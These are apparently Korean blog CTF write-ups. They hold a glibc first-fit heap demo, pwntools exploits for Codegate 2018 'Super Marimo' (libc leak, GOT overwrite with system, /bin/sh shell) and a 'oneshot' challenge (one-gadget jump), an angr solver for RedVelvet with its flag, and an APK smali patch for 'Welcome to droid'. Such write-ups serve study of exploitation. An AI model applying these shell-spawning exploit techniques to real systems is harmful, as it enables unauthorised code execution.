first_fit에서는 공격 증명이 아닌, 단순히 glibc의 메모리 할당에 관하여 설명하고 있다.

glibc에서는 free되어 있는 chunk를 선택할 때 first-fit이라는 알고리즘을 사용한다.



first_fit.c


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main()
{
    printf("This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
    printf("glibc uses a first-fit algorithm to select a free chunk.\n");
    printf("If a chunk is free and large enough, malloc will select this chunk.\n");
    printf("This can be exploited in a use-after-free situation.\n");
 
    printf("Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
    char* a = malloc(512);
    char* b = malloc(256);
    char* c;
 
    printf("1st malloc(512): %p\n", a);
    printf("2nd malloc(256): %p\n", b);
    printf("we could continue mallocing here...\n");
    printf("now let's put a string at a that we can read later \"this is A!\"\n");
    strcpy(a, "this is A!");
    printf("first allocation %p points to %s\n", a, a);
 
    printf("Freeing the first one...\n");
    free(a);
 
    printf("We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);
 
    printf("So, let's allocate 500 bytes\n");
    c = malloc(500);
    printf("3rd malloc(500): %p\n", c);
    printf("And put a different string here, \"this is C!\"\n");
    strcpy(c, "this is C!");
    printf("3rd allocation %p points to %s\n", c, c);
    printf("first allocation %p points to %s\n", a, a);
    printf("If we reuse the first allocation, it now holds the data from the third allocation.");
}
 
 
 
cs




위의 내용을 요약하자면 다음과 같다.


우선 a와 b를 malloc()을 사용해 할당해준 뒤 a를 free 시킨다. 

  이전 a보다 작은 크기(512 미만) 할당 해주면, 같은 위치의 chunk에 재할당 받게 된다. 이 성질을 이용하여 UAF(Use After Free) 공격을 할 수 있다.




root@ubuntu:~/pwn# ./first_fit 

This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.

glibc uses a first-fit algorithm to select a free chunk.

If a chunk is free and large enough, malloc will select this chunk.

This can be exploited in a use-after-free situation.

Allocating 2 buffers. They can be large, don't have to be fastbin.

1st malloc(512): 0x602420

2nd malloc(256): 0x602630

we could continue mallocing here...

now let's put a string at a that we can read later "this is A!"

first allocation 0x602420 points to this is A!

Freeing the first one...

We don't need to free anything again. As long as we allocate less than 512, it will end up at 0x602420

So, let's allocate 500 bytes

3rd malloc(500): 0x602420

And put a different string here, "this is C!"

3rd allocation 0x602420 points to this is C!

first allocation 0x602420 points to this is C!

If we reuse the first allocation, it now holds the data from the third allocation.





[ Exploit Code ] 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
import time
 
elf = ELF("./marimo")
 
puts_plt = 0x400720
puts_got = 0x603018
puts_offset = 0x6f690
system_offset = 0x45390
strcmp_plt = 0x400770
strcmp_got = 0x603040
 
def show_me_the_marimo(name, profile):
        p.sendline("show me the marimo")
        print p.recvuntil(">>")
        p.sendline(name)
        print p.recvuntil(">>")
        p.sendline(profile)
        print p.recvuntil(">>")
 
def leak(profile):
        time.sleep(2)
 
        p.sendline("V")
        print p.recvuntil(">>")
        p.sendline("0")
        print p.recvuntil(">>")
        p.sendline("M")
        print p.recvuntil(">>")
 
        p.sendline(profile)
        print p.recvuntil(">>")
        p.sendline("B")
        print p.recvuntil(">>")
        p.sendline("V")
        print p.recvuntil(">>")
        p.sendline("1")
 
        print p.recvuntil("name : ")
        return u64(p.recv(6).ljust(8"\x00"))
 
if __name__ == '__main__':
        p = remote('127.0.0.1'8888)
 
        raw_input(">")
 
        print p.recvuntil(">>")
 
        show_me_the_marimo("AAAA""AAAA")
        show_me_the_marimo("BBBB""BBBB")
 
        payload = ''
        payload += "A"*40
        payload += "B"*8
        payload += p32(int(time.time()))
        payload += p32(0x100)
        payload += p64(puts_got)
        payload += p64(strcmp_got)
 
        puts_addr = leak(payload)
        print p.recvuntil(">>")
 
        libc_addr = puts_addr - puts_offset
        system_addr = libc_addr + system_offset
        print "[+] libc_addr = 0x%x" % libc_addr
        print "[+] system_addr = 0x%x" % system_addr
        #print p64(system_addr) 
        #print p64(system_addr)[:-1]
 
        p.sendline("M")
        print p.recvuntil(">>")
 
        p.sendline(p64(system_addr)[:-1])
        #p.sendline(p64(system_addr))
        print p.recvuntil(">>")
        p.sendline("B")
        print p.recvuntil(">>")
        p.sendline("/bin/sh")
        p.interactive()
 
 
 
cs




'CTF > Codegate 2018' 카테고리의 다른 글

[Codegate Quals 2018] RedVelvet  (0) 2018.02.13
[Codegate Quals 2018] Welcome to droid  (0) 2018.02.13
[Codegate Quals 2018] BaskinRobins31  (0) 2018.02.12



1
2
3
4
5
6
7
8
9
10
11
12
13
14
import angr
 
def main():
        p = angr.Project("./RedVelvet", load_options={'auto_load_libs': False})
        ex = p.surveyors.Explorer(find=(0x401606, ), avoid=(0x4016cb,0x401419,))
        ex.run()
 
        return ex.found[0].state.posix.dumps(0).strip('\0\n')
 
if __name__ == '__main__':
        print main()
 
 
 
cs



위 코드를 실행시키면  What_You_Wanna_Be?:)_lc_la  라는 결과값이 나오게 된다.

여기서 중복값이 발생하게 되는데 lc가 아닌 la라는 것을 게싱을 통해 파악 가능하다.


FLAG : What_You_Wanna_Be?:)_la_la


'CTF > Codegate 2018' 카테고리의 다른 글

[Codegate Quals 2018] Super Marimo  (0) 2018.02.17
[Codegate Quals 2018] Welcome to droid  (0) 2018.02.13
[Codegate Quals 2018] BaskinRobins31  (0) 2018.02.12



apk를 분석해보면 총 4개의 MainActivity가 존재한다.


Activity 1. id를 입력받음. 10 <= len(id) <= 26 입력시 다음으로

Activity 2. pw를 입력 받음. 이전에 입력했던 id를 특정 공식으로 계산한 값과 pw 값을 비교하여 일치할 경우 다음으로

Activity 3. 값을 입력 받음. random을 통해 나온 값과 입력값이 일치할 경우 다음으로

Activity 4. lib를 참조하여 플래그 값 출력


1, 2는 어찌저찌 우회가 가능하나, 3의 경우 Math가 아닌 util을 통해 random함수를 사용하고 있기 때문에 seed값이 고정되어 있지 않아 맞추기란 거의 불가능하다.


따라서 방법을 고민하다 그냥 어플 자체를 수정하기로 했다.



smali 코드에서 MainActivity 2, 3을 거치지 않고, 바로 Main4Activity로 넘어가게 수정한 후 리패키징한다. 

리패키징한 apk파일을 실행시키면 플래그 값이 출력 된다.



'CTF > Codegate 2018' 카테고리의 다른 글

[Codegate Quals 2018] Super Marimo  (0) 2018.02.17
[Codegate Quals 2018] RedVelvet  (0) 2018.02.13
[Codegate Quals 2018] BaskinRobins31  (0) 2018.02.12

소스코드는 되게 간단하다.

주소값을 입력하면 그 주소의 위치를 가르쳐준다. 그리고 원하는 주소로 이동을 할 수 있다.





libc 주소를 구할 수 있으므로, oneshot(magic) 가젯을 이용하여 문제를 풀 수 있다.

(magic 가젯은 로컬과 xinetd로 돌아가는 서비스에서만 사용 가능)






[ Exploit Code ]


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from time import *
 
= ELF('./oneshot')
 
main = 0x400646
puts_got = 0x600ad8
offset_puts = 0x06f690
#offset_system = 0x045390
#offset_str_bin_sh = 0x18cd57
offset_oneshot = 0xf1147#0x4526a
 
= remote('127.0.0.1'8888)
 
raw_input(">")
 
print p.recvuntil("Read location?")
p.sendline(str(puts_got))
print p.recvuntil("Value: ")
#print p.recv(18)
 
libc_addr = int(p.recv(18), 0- offset_puts
oneshot_addr = libc_addr + offset_oneshot
 
print "[+] libc_addr = 0x%x" % libc_addr
print "[+] oneshot_addr = 0x%x" % oneshot_addr
 
print p.recvuntil("Jump location?")
p.sendline(str(oneshot_addr))
 
p.interactive()
 
 
 
cs


'CTF > etc.' 카테고리의 다른 글

KYSIS CTF 2018 Write up  (0) 2018.08.21
[Plaid CTF 2015] EBP  (0) 2018.04.19
[Defcon 26 quals 2016] feedme  (0) 2017.11.19
[QIWI CTF 2016] PWN 200_3  (0) 2016.12.06
[Defcon 25 quals 2015] r0pbaby  (0) 2016.11.10

+ Recent posts